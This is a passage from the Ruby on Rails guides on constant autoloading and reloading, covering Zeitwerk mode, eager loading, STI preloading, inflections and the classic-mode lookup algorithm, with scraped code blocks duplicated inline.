# config/initializers/configure_payment_gateway.rb # DO NOT DO THIS. $PAYMENT_GATEWAY = Rails.env.production? ? RealGateway : MockedGateway # DO NOT DO THIS. Copiar

The idea would be to use $PAYMENT_GATEWAY in the code, and let the initializer set that to the actual implementation depending on the environment.

On reload, MockedGateway is reloaded, but $PAYMENT_GATEWAY is not updated because initializers only run on boot. Therefore, it won't reflect the changes.

There are several ways to do this safely. For instance, the application could define a class method PaymentGateway.impl whose definition depends on the environment; or could define PaymentGateway to have a parent class or mixin that depends on the environment; or use the same global variable trick, but in a reloader callback, as explained below.

Let's see other situations that involve stale class or module objects.

Check this Rails console session:

irb> joe = User.new
irb> reload!
irb> alice = User.new
irb> joe.class == alice.class
=> false

joe = User.new reload! alice = User.new joe.class == alice.class Copiar

joe is an instance of the original User class. When there is a reload, the User constant evaluates to a different, reloaded class. alice is an instance of the current one, but joe is not, his class is stale. You may define joe again, start an IRB subsession, or just launch a new console instead of calling reload!.

Another situation in which you may find this gotcha is subclassing reloadable classes in a place that is not reloaded:

# lib/vip_user.rb
class VipUser < User
end

# lib/vip_user.rb class VipUser < User end Copiar

if User is reloaded, since VipUser is not, the superclass of VipUser is the original stale class object.

Bottom line: do not cache reloadable classes or modules.

6.2 Autoloading when the application boots

Applications can safely autoload constants during boot using a reloader callback:

Rails.application.reloader.to_prepare do
$PAYMENT_GATEWAY = Rails.env.production? ? RealGateway : MockedGateway
end

Rails.application.reloader.to_prepare do $PAYMENT_GATEWAY = Rails.env.production? ? RealGateway : MockedGateway end Copiar

That block runs when the application boots, and every time code is reloaded.

For historical reasons, this callback may run twice. The code it executes must be idempotent.

However, if you do not need to reload the class, it is easier to define it in a directory which does not belong to the autoload paths. For instance, lib is an idiomatic choice, it does not belong to the autoload paths by default but it belongs to $LOAD_PATH. Then, in the place the class is needed at boot time, just perform a regular require to load it.

For example, there is no point in defining reloadable Rack middleware, because changes would not be reflected in the instance stored in the middleware stack anyway. If lib/my_app/middleware/foo.rb defines a middleware class, then in config/application.rb you write:

require "my_app/middleware/foo"
...
config.middleware.use MyApp::Middleware::Foo

require "my_app/middleware/foo" ... config.middleware.use MyApp::Middleware::Foo Copiar

To have changes in that middleware reflected, you need to restart the server.

7 Eager Loading

In production-like environments it is generally better to load all the application code when the application boots. Eager loading puts everything in memory ready to serve requests right away, and it is also CoW-friendly.

Eager loading is controlled by the flag config.eager_load, which is enabled by default in production mode.

The order in which files are eager loaded is undefined.

if the Zeitwerk constant is defined, Rails invokes Zeitwerk::Loader.eager_load_all regardless of the application autoloading mode. That ensures dependencies managed by Zeitwerk are eager loaded.

8 Single Table Inheritance

Single Table Inheritance is a feature that doesn't play well with lazy loading. Reason is, its API generally needs to be able to enumerate the STI hierarchy to work correctly, whereas lazy loading defers loading classes until they are referenced. You can't enumerate what you haven't referenced yet.

In a sense, applications need to eager load STI hierarchies regardless of the loading mode.

Of course, if the application eager loads on boot, that is already accomplished. When it does not, it is in practice enough to instantiate the existing types in the database, which in development or test modes is usually fine. One way to do that is to throw this module into the lib directory:

module StiPreload
unless Rails.application.config.eager_load
extend ActiveSupport::Concern

included do
cattr_accessor :preloaded, instance_accessor: false
end

class_methods do
def descendants
preload_sti unless preloaded
super
end

# Constantizes all types present in the database. There might be more on
# disk, but that does not matter in practice as far as the STI API is
# concerned.
#
# Assumes store_full_sti_class is true, the default.
def preload_sti
types_in_db = \
base_class.
unscoped.
select(inheritance_column).
distinct.
pluck(inheritance_column).
compact

types_in_db.each do |type|
logger.debug("Preloading STI type #{type}")
type.constantize
end

self.preloaded = true
end
end
end
end

module StiPreload unless Rails.application.config.eager_load extend ActiveSupport::Concern included do cattr_accessor :preloaded, instance_accessor: false end class_methods do def descendants preload_sti unless preloaded super end # Constantizes all types present in the database. There might be more on # disk, but that does not matter in practice as far as the STI API is # concerned. # # Assumes store_full_sti_class is true, the default. def preload_sti types_in_db = \ base_class. unscoped. select(inheritance_column). distinct. pluck(inheritance_column). compact types_in_db.each do |type| logger.debug("Preloading STI type #{type}") type.constantize end self.preloaded = true end end end end Copiar

and then include it in the STI root classes of your project:

# app/models/shape.rb
require "sti_preload"

class Shape < ApplicationRecord
include StiPreload # Only in the root class.
end

# app/models/shape.rb require "sti_preload" class Shape < ApplicationRecord include StiPreload # Only in the root class. end Copiar

# app/models/polygon.rb
class Polygon < Shape
end

# app/models/polygon.rb class Polygon < Shape end Copiar

# app/models/triangle.rb
class Triangle < Polygon
end

# app/models/triangle.rb class Triangle < Polygon end Copiar

9 Customizing Inflections

By default, Rails uses String#camelize to know which constant should a given file or directory name define. For example, posts_controller.rb should define PostsController because that is what "posts_controller".camelize returns.

It could be the case that some particular file or directory name does not get inflected as you want. For instance, html_parser.rb is expected to define HtmlParser by default. What if you prefer the class to be HTMLParser? There are a few ways to customize this.

The easiest way is to define acronyms in config/initializers/inflections.rb:

ActiveSupport::Inflector.inflections(:en) do |inflect|
inflect.acronym "HTML"
inflect.acronym "SSL"
end

ActiveSupport::Inflector.inflections(:en) do |inflect| inflect.acronym "HTML" inflect.acronym "SSL" end Copiar

Doing so affects how Active Support inflects globally. That may be fine in some applications, but you can also customize how to camelize individual basenames independently from Active Support by passing a collection of overrides to the default inflectors:

# config/initializers/zeitwerk.rb
Rails.autoloaders.each do |autoloader|
autoloader.inflector.inflect(
"html_parser" => "HTMLParser",
"ssl_error"   => "SSLError"
)
end

# config/initializers/zeitwerk.rb Rails.autoloaders.each do |autoloader| autoloader.inflector.inflect( "html_parser" => "HTMLParser", "ssl_error" => "SSLError" ) end Copiar

That technique still depends on String#camelize, though, because that is what the default inflectors use as fallback. If you instead prefer not to depend on Active Support inflections at all and have absolute control over inflections, configure the inflectors to be instances of Zeitwerk::Inflector:

# config/initializers/zeitwerk.rb
Rails.autoloaders.each do |autoloader|
autoloader.inflector = Zeitwerk::Inflector.new
autoloader.inflector.inflect(
"html_parser" => "HTMLParser",
"ssl_error"   => "SSLError"
)
end

# config/initializers/zeitwerk.rb Rails.autoloaders.each do |autoloader| autoloader.inflector = Zeitwerk::Inflector.new autoloader.inflector.inflect( "html_parser" => "HTMLParser", "ssl_error" => "SSLError" ) end Copiar

There is no global configuration that can affect said instances, they are deterministic.

You can even define a custom inflector for full flexibility. Please, check the Zeitwerk documentation for further details.

10 Troubleshooting

The best way to follow what the loaders are doing is to inspect their activity.

The easiest way to do that is to throw

Rails.autoloaders.log!

Rails.autoloaders.log! Copiar

to config/application.rb after loading the framework defaults. That will print traces to standard output.

If you prefer logging to a file, configure this instead:

Rails.autoloaders.logger = Logger.new("#{Rails.root}/log/autoloading.log")

Rails.autoloaders.logger = Logger.new("#{Rails.root}/log/autoloading.log") Copiar

The Rails logger is still not ready in config/application.rb, but it is in initializers:

# config/initializers/log_autoloaders.rb
Rails.autoloaders.logger = Rails.logger

# config/initializers/log_autoloaders.rb Rails.autoloaders.logger = Rails.logger Copiar

11 Rails.autoloaders

The Zeitwerk instances managing your application are available at

Rails.autoloaders.main
Rails.autoloaders.once

Rails.autoloaders.main Rails.autoloaders.once Copiar

The former is the main one. The latter is there mostly for backwards compatibility reasons, in case the application has something in config.autoload_once_paths (this is discouraged nowadays).

You can check if zeitwerk mode is enabled with

Rails.autoloaders.zeitwerk_enabled?

Rails.autoloaders.zeitwerk_enabled? Copiar

12 Differences with Classic Mode

12.1 Ruby Constant Lookup Compliance

classic mode cannot match constant lookup semantics due to fundamental limitations of the technique it is based on, whereas zeitwerk mode works like Ruby.

For example, in classic mode defining classes or modules in namespaces with qualified constants this way

class Admin::UsersController < ApplicationController
end

class Admin::UsersController < ApplicationController end Copiar

was not recommended because the resolution of constants inside their body was brittle. You'd better write them in this style:

module Admin
class UsersController < ApplicationController
end
end

module Admin class UsersController < ApplicationController end end Copiar

In zeitwerk mode that does not matter anymore, you can pick either style.

The resolution of a constant could depend on load order, the definition of a class or module object could depend on load order, there was edge cases with singleton classes, oftentimes you had to use require_dependency as a workaround, .... The guide for classic mode documents these issues.

All these problems are solved in zeitwerk mode, it just works as expected, and require_dependency should not be used anymore, it is no longer needed.

12.2 Less File Lookups

In classic mode, every single missing constant triggers a file lookup that walks the autoload paths.

In zeitwerk mode there is only one pass. That pass is done once, not per missing constant, and so it is generally more performant. Subdirectories are visited only if their namespace is used.

12.3 Underscore vs Camelize

Inflections go the other way around.

In classic mode, given a missing constant Rails underscores its name and performs a file lookup. On the other hand, zeitwerk mode checks first the file system, and camelizes file names to know the constant those files are expected to define.

While in common names these operations match, if acronyms or custom inflection rules are configured, they may not. For example, by default "HTMLParser".underscore is "html_parser", and "html_parser".camelize is "HtmlParser".

12.4 More Differences

There are some other subtle differences, please check this section of Upgrading Ruby on Rails guide for details.

13 Classic Mode is Deprecated

By now, it is still possible to use classic mode. However, classic is deprecated and will be eventually removed.

New applications should use zeitwerk mode (which is the default), and applications being upgrade are strongly encouraged to migrate to zeitwerk mode. Please check the Upgrading Ruby on Rails guide for details.

14 Opting Out

Applications can load Rails 6 defaults and still use the classic autoloader this way:

# config/application.rb
config.load_defaults 6.0
config.autoloader = :classic

# config/application.rb config.load_defaults 6.0 config.autoloader = :classic Copiar

That may be handy if upgrading to Rails 6 in different phases, but classic mode is discouraged for new applications.

zeitwerk mode is not available in versions of Rails previous to 6.0.

Autoloading and Reloading Constants...

1 Introduction

This guide documents autoloading in classic mode, which is the traditional one. If you'd like to read about zeitwerk mode instead, the new one in Rails 6, please check Autoloading and Reloading Constants (Zeitwerk Mode).

Ruby on Rails allows applications to be written as if their code was preloaded.

In a normal Ruby program classes need to load their dependencies:

require "application_controller"
require "post"

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

require "application_controller" require "post" class PostsController < ApplicationController def index @posts = Post.all end end Copiar

Our Rubyist instinct quickly sees some redundancy in there: If classes were defined in files matching their name, couldn't their loading be automated somehow? We could save scanning the file for dependencies, which is brittle.

Moreover, Kernel#require loads files once, but development is much more smooth if code gets refreshed when it changes without restarting the server. It would be nice to be able to use Kernel#load in development, and Kernel#require in production.

Indeed, those features are provided by Ruby on Rails, where we just write

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

class PostsController < ApplicationController def index @posts = Post.all end end Copiar

This guide documents how that works.

2 Constants Refresher

While constants are trivial in most programming languages, they are a rich topic in Ruby.

It is beyond the scope of this guide to document Ruby constants, but we are nevertheless going to highlight a few key topics. Truly grasping the following sections is instrumental to understanding constant autoloading and reloading.

2.1 Nesting

Class and module definitions can be nested to create namespaces:

module XML
class SAXParser
# (1)
end
end

module XML class SAXParser # (1) end end Copiar

The nesting at any given place is the collection of enclosing nested class and module objects outwards. The nesting at any given place can be inspected with Module.nesting. For example, in the previous example, the nesting at (1) is

[XML::SAXParser, XML]

[XML::SAXParser, XML] Copiar

It is important to understand that the nesting is composed of class and module objects, it has nothing to do with the constants used to access them, and is also unrelated to their names.

For instance, while this definition is similar to the previous one:

class XML::SAXParser
# (2)
end

class XML::SAXParser # (2) end Copiar

the nesting in (2) is different:

[XML::SAXParser]

[XML::SAXParser] Copiar

XML does not belong to it.

We can see in this example that the name of a class or module that belongs to a certain nesting does not necessarily correlate with the namespaces at the spot.

Even more, they are totally independent, take for instance

module X
module Y
end
end

module A
module B
end
end

module X::Y
module A::B
# (3)
end
end

module X module Y end end module A module B end end module X::Y module A::B # (3) end end Copiar

The nesting in (3) consists of two module objects:

[A::B, X::Y]

[A::B, X::Y] Copiar

So, it not only doesn't end in A, which does not even belong to the nesting, but it also contains X::Y, which is independent from A::B.

The nesting is an internal stack maintained by the interpreter, and it gets modified according to these rules:

- The class object following a class keyword gets pushed when its body is executed, and popped after it.

- The module object following a module keyword gets pushed when its body is executed, and popped after it.

- A singleton class opened with class << object gets pushed, and popped later.

- When instance_eval is called using a string argument, the singleton class of the receiver is pushed to the nesting of the eval'ed code. When class_eval or module_eval is called using a string argument, the receiver is pushed to the nesting of the eval'ed code.

- The nesting at the top-level of code interpreted by Kernel#load is empty unless the load call receives a true value as second argument, in which case a newly created anonymous module is pushed by Ruby.

It is interesting to observe that blocks do not modify the stack. In particular the blocks that may be passed to Class.new and Module.new do not get the class or module being defined pushed to their nesting. That's one of the differences between defining classes and modules in one way or another.

2.2 Class and Module Definitions are Constant Assignments

Let's suppose the following snippet creates a class (rather than reopening it):

class C
end

class C end Copiar

Ruby creates a constant C in Object and stores in that constant a class object. The name of the class instance is "C", a string, named after the constant.

That is,

class Project < ApplicationRecord
end

class Project < ApplicationRecord end Copiar

performs a constant assignment equivalent to

Project = Class.new(ApplicationRecord)

Project = Class.new(ApplicationRecord) Copiar

including setting the name of the class as a side-effect:

Project.name # => "Project"

Project.name # => "Project" Copiar

Constant assignment has a special rule to make that happen: if the object being assigned is an anonymous class or module, Ruby sets the object's name to the name of the constant.

From then on, what happens to the constant and the instance does not matter. For example, the constant could be deleted, the class object could be assigned to a different constant, be stored in no constant anymore, etc. Once the name is set, it doesn't change.

Similarly, module creation using the module keyword as in

module Admin
end

module Admin end Copiar

performs a constant assignment equivalent to

Admin = Module.new

Admin = Module.new Copiar

including setting the name as a side-effect:

Admin.name # => "Admin"

Admin.name # => "Admin" Copiar

The execution context of a block passed to Class.new or Module.new is not entirely equivalent to the one of the body of the definitions using the class and module keywords. But both idioms result in the same constant assignment.

Thus, an informal expression like "the String class" technically means the class object stored in the constant called "String". That constant, in turn, belongs to the class object stored in the constant called "Object".

String is an ordinary constant, and everything related to them such as resolution algorithms applies to it.

Likewise, in the controller

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

class PostsController < ApplicationController def index @posts = Post.all end end Copiar

Post is not syntax for a class. Rather, Post is a regular Ruby constant. If all is good, the constant is evaluated to an object that responds to all.

That is why we talk about constant autoloading, Rails has the ability to load constants on the fly.

2.3 Constants are Stored in Modules

Constants belong to modules in a very literal sense. Classes and modules have a constant table; think of it as a hash table.

Let's analyze an example to really understand what that means. While common abuses of language like "the String class" are convenient, the exposition is going to be precise here for didactic purposes.

Let's consider the following module definition:

module Colors
RED = '0xff0000'
end

module Colors RED = '0xff0000' end Copiar

First, when the module keyword is processed, the interpreter creates a new entry in the constant table of the class object stored in the Object constant. Said entry associates the name "Colors" to a newly created module object. Furthermore, the interpreter sets the name of the new module object to be the string "Colors".

Later, when the body of the module definition is interpreted, a new entry is created in the constant table of the module object stored in the Colors constant. That entry maps the name "RED" to the string "0xff0000".

In particular, Colors::RED is totally unrelated to any other RED constant that may live in any other class or module object. If there were any, they would have separate entries in their respective constant tables.

Pay special attention in the previous paragraphs to the distinction between class and module objects, constant names, and value objects associated to them in constant tables.

2.4 Resolution Algorithms

2.4.1 Resolution Algorithm for Relative Constants

At any given place in the code, let's define cref to be the first element of the nesting if it is not empty, or Object otherwise.

Without getting too much into the details, the resolution algorithm for relative constant references goes like this:

1. If the nesting is not empty the constant is looked up in its elements and in order. The ancestors of those elements are ignored.

2. If not found, then the algorithm walks up the ancestor chain of the cref.

3. If not found and the cref is a module, the constant is looked up in Object.

4. If not found, const_missing is invoked on the cref. The default implementation of const_missing raises NameError, but it can be overridden.

Rails autoloading does not emulate this algorithm, but its starting point is the name of the constant to be autoloaded, and the cref. See more in Relative References.

2.4.2 Resolution Algorithm for Qualified Constants

Qualified constants look like this:

Billing::Invoice

Billing::Invoice Copiar

Billing::Invoice is composed of two constants: Billing is relative and is resolved using the algorithm of the previous section.

Leading colons would make the first segment absolute rather than relative: ::Billing::Invoice. That would force Billing to be looked up only as a top-level constant.

Invoice on the other hand is qualified by Billing and we are going to see its resolution next. Let's define parent to be that qualifying class or module object, that is, Billing in the example above. The algorithm for qualified constants goes like this:

1. The constant is looked up in the parent and its ancestors. In Ruby >= 2.5, Object is skipped if present among the ancestors. Kernel and BasicObject are still checked though.

2. If the lookup fails, const_missing is invoked in the parent. The default implementation of const_missing raises NameError, but it can be overridden.

In Ruby < 2.5 String::Hash evaluates to Hash and the interpreter issues a warning: "toplevel constant Hash referenced by String::Hash". Starting with 2.5, String::Hash raises NameError because Object is skipped.

As you see, this algorithm is simpler than the one for relative constants. In particular, the nesting plays no role here, and modules are not special-cased, if neither they nor their ancestors have the constants, Object is not checked.

Rails autoloading does not emulate this algorithm, but its starting point is the name of the constant to be autoloaded, and the parent. See more in Qualified References.

3 Vocabulary

3.1 Parent Namespaces

Given a string with a constant path we define its parent namespace to be the string that results from removing its rightmost segment.

For example, the parent namespace of the string "A::B::C" is the string "A::B", the parent namespace of "A::B" is "A", and the parent namespace of "A" is "".

The interpretation of a parent namespace when thinking about classes and modules is tricky though. Let's consider a module M named "A::B":

- The parent namespace, "A", may not reflect nesting at a given spot.

- The constant A may no longer exist, some code could have removed it from Object.

- If A exists, the class or module that was originally in A may not be there anymore. For example, if after a constant removal there was another constant assignment there would generally be a different object in there.

- In such case, it could even happen that the reassigned A held a new class or module called also "A"!

- In the previous scenarios M would no longer be reachable through A::B but the module object itself could still be alive somewhere and its name would still be "A::B".

The idea of a parent namespace is at the core of the autoloading algorithms and helps explain and understand their motivation intuitively, but as you see that metaphor leaks easily. Given an edge case to reason about, take always into account that by "parent namespace" the guide means exactly that specific string derivation.

3.2 Loading Mechanism

Rails autoloads files with Kernel#load when config.cache_classes is false, the default in development mode, and with Kernel#require otherwise, the default in production mode.

Kernel#load allows Rails to execute files more than once if constant reloading is enabled.

This guide uses the word "load" freely to mean a given file is interpreted, but the actual mechanism can be Kernel#load or Kernel#require depending on that flag.

4 Autoloading Availability

Rails is always able to autoload provided its environment is in place. For example the runner command autoloads:

$ bin/rails runner 'p User.column_names'
["id", "email", "created_at", "updated_at"]

bin/rails runner 'p User.column_names' Copiar

The console autoloads, the test suite autoloads, and of course the application autoloads.

By default, Rails eager loads the application files when it boots in production mode, so most of the autoloading going on in development does not happen. But autoloading may still be triggered during eager loading.

For example, given

class BeachHouse < House
end

class BeachHouse < House end Copiar

if House is still unknown when app/models/beach_house.rb is being eager loaded, Rails autoloads it.

5 autoload_paths and eager_load_paths

As you probably know, when require gets a relative file name:

require "erb"

require "erb" Copiar

Ruby looks for the file in the directories listed in $LOAD_PATH. That is, Ruby iterates over all its directories and for each one of them checks whether they have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds any of them, the interpreter loads it and ends the search. Otherwise, it tries again in the next directory of the list. If the list gets exhausted, LoadError is raised.

We are going to cover how constant autoloading works in more detail later, but the idea is that when a constant like Post is hit and missing, if there's a post.rb file for example in app/models Rails is going to find it, evaluate it, and have Post defined as a side-effect.

All right, Rails has a collection of directories similar to $LOAD_PATH in which to look up post.rb. That collection is called autoload_paths and by default it contains:

- All subdirectories of app in the application and engines present at boot time. For example, app/controllers. They do not need to be the default ones, any custom directories like app/workers belong automatically to autoload_paths.

- Any existing second level directories called app/*/concerns in the application and engines.

- The directory test/mailers/previews.

eager_load_paths is initially the app paths above

How files are autoloaded depends on eager_load and cache_classes config settings which typically vary in development, production, and test modes:

- In development, you want quicker startup with incremental loading of application code. So eager_load should be set to false, and Rails will autoload files as needed (see Autoloading Algorithms below) -- and then reload them when they change (see Constant Reloading below).

- In production, however, you want consistency and thread-safety and can live with a longer boot time. So eager_load is set to true, and then during boot (before the app is ready to receive requests) Rails loads all files in the eager_load_paths and then turns off auto loading (NB: autoloading may be needed during eager loading). Not autoloading after boot is a good thing, as autoloading can cause the app to have thread-safety problems.

- In test, for speed of execution (of individual tests) eager_load is false, so Rails follows development behaviour.

What is described above are the defaults with a newly generated Rails app. There are multiple ways this can be configured differently (see Configuring Rails Applications). In the past, before Rails 5, developers might configure autoload_paths to add in extra locations (e.g. lib which used to be an autoload path list years ago, but no longer is). However this is now discouraged for most purposes, as it is likely to lead to production-only errors. It is possible to add new locations to both config.eager_load_paths and config.autoload_paths but use at your own risk.

See also Autoloading in the Test Environment.

The value of autoload_paths can be inspected. In a just-generated application it is (edited):

$ bin/rails runner 'puts ActiveSupport::Dependencies.autoload_paths'
.../app/assets
.../app/channels
.../app/controllers
.../app/controllers/concerns
.../app/helpers
.../app/jobs
.../app/mailers
.../app/models
.../app/models/concerns
.../activestorage/app/assets
.../activestorage/app/controllers
.../activestorage/app/javascript
.../activestorage/app/jobs
.../activestorage/app/models
.../actioncable/app/assets
.../actionview/app/assets
.../test/mailers/previews

bin/rails runner 'puts ActiveSupport::Dependencies.autoload_paths' Copiar

autoload_paths is computed and cached during the initialization process. The application needs to be restarted to reflect any changes in the directory structure.

6 Autoloading Algorithms

6.1 Relative References

A relative constant reference may appear in several places, for example, in

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

class PostsController < ApplicationController def index @posts = Post.all end end Copiar

all three constant references are relative.

6.1.1 Constants after the class and module Keywords

Ruby performs a lookup for the constant that follows a class or module keyword because it needs to know if the class or module is going to be created or reopened.

If the constant is not defined at that point it is not considered to be a missing constant, autoloading is not triggered.

So, in the previous example, if PostsController is not defined when the file is interpreted Rails autoloading is not going to be triggered, Ruby will just define the controller.

6.1.2 Top-Level Constants

On the contrary, if ApplicationController is unknown, the constant is considered missing and an autoload is going to be attempted by Rails.

In order to load ApplicationController, Rails iterates over autoload_paths. First it checks if app/assets/application_controller.rb exists. If it does not, which is normally the case, it continues and finds app/controllers/application_controller.rb.

If the file defines the constant ApplicationController all is fine, otherwise LoadError is raised:

unable to autoload constant ApplicationController, expected
<full path to application_controller.rb> to define it (LoadError)

unable to autoload constant ApplicationController, expected <full path to application_controller.rb> to define it (LoadError) Copiar

Rails does not require the value of autoloaded constants to be a class or module object. For example, if the file app/models/max_clients.rb defines MAX_CLIENTS = 100 autoloading MAX_CLIENTS works just fine.

6.1.3 Namespaces

Autoloading ApplicationController looks directly under the directories of autoload_paths because the nesting in that spot is empty. The situation of Post is different, the nesting in that line is [PostsController] and support for namespaces comes into play.

The basic idea is that given

module Admin
class BaseController < ApplicationController
@@all_roles = Role.all
end
end

module Admin class BaseController < ApplicationController @@all_roles = Role.all end end Copiar

to autoload Role we are going to check if it is defined in the current or parent namespaces, one at a time. So, conceptually we want to try to autoload any of

Admin::BaseController::Role
Admin::Role
Role

Admin::BaseController::Role Admin::Role Role Copiar

in that order. That's the idea. To do so, Rails looks in autoload_paths respectively for file names like these:

admin/base_controller/role.rb
admin/role.rb
role.rb

admin/base_controller/role.rb admin/role.rb role.rb Copiar

modulus some additional directory lookups we are going to cover soon.

'Constant::Name'.underscore gives the relative path without extension of the file name where Constant::Name is expected to be defined.

Let's see how Rails autoloads the Post constant in the PostsController above assuming the application has a Post model defined in app/models/post.rb.

First it checks for posts_controller/post.rb in autoload_paths:

app/assets/posts_controller/post.rb
app/controllers/posts_controller/post.rb
app/helpers/posts_controller/post.rb
...
test/mailers/previews/posts_controller/post.rb

app/assets/posts_controller/post.rb app/controllers/posts_controller/post.rb app/helpers/posts_controller/post.rb ... test/mailers/previews/posts_controller/post.rb Copiar

Since the lookup is exhausted without success, a similar search for a directory is performed, we are going to see why in the next section:

app/assets/posts_controller/post
app/controllers/posts_controller/post
app/helpers/posts_controller/post
...
test/mailers/previews/posts_controller/post

app/assets/posts_controller/post app/controllers/posts_controller/post app/helpers/posts_controller/post ... test/mailers/previews/posts_controller/post Copiar

If all those attempts fail, then Rails starts the lookup again in the parent namespace. In this case only the top-level remains:

app/assets/post.rb
app/controllers/post.rb
app/helpers/post.rb
app/mailers/post.rb
app/models/post.rb

app/assets/post.rb app/controllers/post.rb app/helpers/post.rb app/mailers/post.rb app/models/post.rb Copiar

A matching file is found in app/models/post.rb. The lookup stops there and the file is loaded. If the file actually defines Post all is fine, otherwise LoadError is raised.

6.2 Qualified References

When a qualified constant is missing Rails does not look for it in the parent namespaces. But there is a caveat: when a constant is missing, Rails is unable to tell if the trigger was a relative reference or a qualified one.

For example, consider

module Admin
User
end

module Admin User end Copiar

and

Admin::User

Admin::User Copiar

If User is missing, in either case all Rails knows is that a constant called "User" was missing in a module called "Admin".

If there is a top-level User Ruby would resolve it in the former example, but wouldn't in the latter. In general, Rails does not emulate the Ruby constant resolution algorithms, but in this case it tries using the following heuristic:

If none of the parent namespaces of the class or module has the missing constant then Rails assumes the reference is relative. Otherwise qualified.

For example, if this code triggers autoloading

Admin::User

Admin::User Copiar

and the User constant is already present in Object, it is not possible that the situation is

module Admin
User
end

module Admin User end Copiar

because otherwise Ruby would have resolved User and no autoloading would have been triggered in the first place. Thus, Rails assumes a qualified reference and considers the file admin/user.rb and directory admin/user to be the only valid options.

In practice, this works quite well as long as the nesting matches all parent namespaces respectively and the constants that make the rule apply are known at that time.

However, autoloading happens on demand. If by chance the top-level User was not yet loaded, then Rails assumes a relative reference by contract.

Naming conflicts of this kind are rare in practice, but if one occurs, require_dependency provides a solution by ensuring that the constant needed to trigger the heuristic is defined in the conflicting place.

6.3 Automatic Modules

When a module acts as a namespace, Rails does not require the application to define a file for it, a directory matching the namespace is enough.

Suppose an application has a back office whose controllers are stored in app/controllers/admin. If the Admin module is not yet loaded when Admin::UsersController is hit, Rails needs first to autoload the constant Admin.

If autoload_paths has a file called admin.rb Rails is going to load that one, but if there's no such file and a directory called admin is found, Rails creates an empty module and assigns it to the Admin constant on the fly.

6.4 Generic Procedure

Relative references are reported to be missing in the cref where they were hit, and qualified references are reported to be missing in their parent (see Resolution Algorithm for Relative Constants at the beginning of this guide for the definition of cref, and Resolution Algorithm for Qualified Constants for the definition of parent).

The procedure to autoload constant C in an arbitrary situation is as follows:

if the class or module in which C is missing is Object
let ns = ''
else
let M = the class or module in which C is missing

if M is anonymous
let ns = ''
else
let ns = M.name
end
end

loop do
# Look for a regular file.
for dir in autoload_paths
if the file "#{dir}/#{ns.underscore}/c.rb" exists
load/require "#{dir}/#{ns.underscore}/c.rb"

if C is now defined
return
else
raise LoadError
end
end
end

# Look for an automatic module.
for dir in autoload_paths
if the directory "#{dir}/#{ns.underscore}/c" exists
if ns is an empty string
let C = Module.new in Object and return
else
let C = Module.new in ns.constantize and return
end
end
end

if ns is empty
# We reached the top-level without finding the constant.
raise NameError
else
if C exists in any of the parent namespaces
# Qualified constants heuristic.
raise NameError
else
# Try again in the parent namespace.
let ns = the parent namespace of ns and retry
end
end
end

if the class or module in which C is missing is Object let ns = '' else let M = the class or module in which C is missing if M is anonymous let ns = '' else let ns = M.name end end loop do # Look for a regular file. for dir in autoload_paths if the file "#{dir}/#{ns.underscore}/c.rb" exists load/require "#{dir}/#{ns.underscore}/c.rb" if C is now defined return else raise LoadError end end end # Look for an automatic module. for dir in autoload_paths if the directory "#{dir}/#{ns.underscore}/c" exists if ns is an empty string let C = Module.new in Object and return else let C = Module.new in ns.constantize and return end end end if ns is empty # We reached the top-level without finding the constant. raise NameError else if C exists in any of the parent namespaces # Qualified constants heuristic. raise NameError else # Try again in the parent namespace. let ns = the parent namespace of ns and retry end end end Copiar

7 require_dependency

Constant autoloading is triggered on demand and therefore code that uses a certain constant may have it already defined or may trigger an autoload. That depends on the execution path and it may vary between runs.

There are times, however, in which you want to make sure a certain constant is known when the execution reaches some code. require_dependency provides a way to load a file using the current loading mechanism, and keeping track of constants defined in that file as if they were autoloaded to have them reloaded as needed.

require_dependency is rarely needed, but see a couple of use cases in Autoloading and STI and When Constants aren't Triggered.

Unlike autoloading, require_dependency does not expect the file to define any particular constant. Exploiting this behavior would be a bad practice though, file and constant paths should match.

8 Constant Reloading

When config.cache_classes is false Rails is able to reload autoloaded constants.

For example, if you're in a console session and edit some file behind the scenes, the code can be reloaded with the reload! command:

irb> reload!

reload! Copiar

When the application runs, code is reloaded when something relevant to this logic changes. In order to do that, Rails monitors a number of things:

- config/routes.rb.

- Locales.

- Ruby files under autoload_paths.

- db/schema.rb and db/structure.sql.

If anything in there changes, there is a middleware that detects it and reloads the code.

Autoloading keeps track of autoloaded constants. Reloading is implemented by removing them all from their respective classes and modules using Module#remove_const. That way, when the code goes on, those constants are going to be unknown again, and files reloaded on demand.

This is an all-or-nothing operation, Rails does not attempt to reload only what changed since dependencies between classes makes that really tricky. Instead, everything is wiped.

9 Common Gotchas

9.1 Nesting and Qualified Constants

Let's consider

module Admin
class UsersController < ApplicationController
def index
@users = User.all
end
end
end

module Admin class UsersController < ApplicationController def index @users = User.all end end end Copiar

and

class Admin::UsersController < ApplicationController
def index
@users = User.all
end
end

class Admin::UsersController < ApplicationController def index @users = User.all end end Copiar

To resolve User Ruby checks Admin in the former case, but it does not in the latter because it does not belong to the nesting (see Nesting and Resolution Algorithms).

Unfortunately Rails autoloading does not know the nesting in the spot where the constant was missing and so it is not able to act as Ruby would. In particular, Admin::User will get autoloaded in either case.

Albeit qualified constants with class and module keywords may technically work with autoloading in some cases, it is preferable to use relative constants instead:

module Admin
class UsersController < ApplicationController
def index
@users = User.all
end
end
end

module Admin class UsersController < ApplicationController def index @users = User.all end end end Copiar

9.2 Defining vs Reopening Namespaces

Let's consider:

# app/models/blog.rb
module Blog
def self.table_name_prefix
"blog_"
end
end

# app/models/blog.rb module Blog def self.table_name_prefix "blog_" end end Copiar

# app/models/blog/post.rb
module Blog
class Post < ApplicationRecord
end
end

# app/models/blog/post.rb module Blog class Post < ApplicationRecord end end Copiar

The table name for Blog::Post should be blog_posts due to the existence of the method Blog.table_name_prefix. However, if app/models/blog/post.rb is executed before app/models/blog.rb is, Active Record is not aware of the existence of such method, and assumes the table is posts.

To resolve a situation like this, it helps thinking clearly about which file defines the Blog module (app/models/blog.rb), and which one reopens it (app/models/blog/post.rb). Then, you ensure that the definition is executed first using require_dependency:

# app/models/blog/post.rb

require_dependency "blog"

module Blog
class Post < ApplicationRecord
end
end

# app/models/blog/post.rb require_dependency "blog" module Blog class Post < ApplicationRecord end end Copiar

9.3 Autoloading and STI

Single Table Inheritance (STI) is a feature of Active Record that enables storing a hierarchy of models in one single table. The API of such models is aware of the hierarchy and encapsulates some common needs. For example, given these classes:

# app/models/polygon.rb
